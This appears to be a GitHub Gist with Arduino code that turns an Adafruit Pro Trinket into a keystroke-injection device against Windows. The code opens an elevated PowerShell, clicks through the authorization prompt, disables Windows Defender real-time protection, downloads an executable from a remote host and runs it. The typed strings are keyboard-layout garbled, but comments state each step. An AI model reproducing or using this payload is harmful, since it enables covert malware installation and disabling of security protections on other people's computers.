Last active
June 12, 2020 10:49
-
-
Save Tanguyp72/721ec0828e79af5075d405d67091779f to your computer and use it in GitHub Desktop.
Keystroke Injection Attack with Adafruit Pro Trinket
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <ProTrinketKeyboard.h> | |
// We can find all keystrike correspondance by opening this file with notepad | |
// We define a function to press Enter when we want it | |
void pressEnter() { | |
TrinketKeyboard.pressKey(0, 0x28); | |
delay(10); | |
TrinketKeyboard.pressKey(0,0); | |
delay(300); | |
} | |
//#define KEYCODE_ENTER 0x28 | |
// We define a function to simulate a yes click in an authorization window | |
void yesAuth() { | |
TrinketKeyboard.pressKey(0x04, 0x12); | |
delay(10); | |
TrinketKeyboard.pressKey(0,0); | |
delay(300); | |
} | |
//#define KEYCODE_MOD_RIGHT_ALT 0x40 | |
//#define KEYCODE_O 0x12 - Oui (FR) | |
//#define KEYCODE_Y 0x1C - Yes (EN) | |
// We define a function to run winRun when we want it | |
void winRun() { | |
TrinketKeyboard.pressKey(0x08, 0x15); | |
delay(30); | |
TrinketKeyboard.pressKey(0,0); | |
} | |
//#define KEYCODE_MOD_LEFT_GUI 0x08 | |
//#define KEYCODE_R 0x15 | |
void setup() { | |
TrinketKeyboard.begin(); // We start the keyboard | |
delay(1000); | |
winRun(); // We open the run window | |
delay(100); | |
winRun(); | |
delay(300); | |
TrinketKeyboard.print("pozershell Stqrt6Process pozershell 6Verb runQs"); // We start an elevated powershell window | |
pressEnter(); // Execute command | |
delay(3500); | |
yesAuth(); // Simulate a yes click on the acceptation window | |
delay(1500); | |
TrinketKeyboard.print( // We write our powershell script | |
"set6:pPreference 6DisqbleReq ]true," // Disable windows Defender Realtime protection | |
"]d = Nez6Object Syste;<Net<ZebClient," // Create a web client –> $d | |
"]f = 4!<exe4," // Store file name in a variable named f $f | |
"]d<DoznloqdFile54http.>>!(@<!^*<!*@<!#)>s<exe4m]f-," // Use the web client ($d) to download a file and store it as $f | |
"]e = Nez6Object 6co; shell<qpplicqtion," // Use the shell object ($e) to execute the file we downloaded | |
"]e<shellexecute5]f-," | |
"exit," | |
); | |
pressEnter(); | |
} | |
void loop() { | |
// put your main code here, to run repeatedly | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment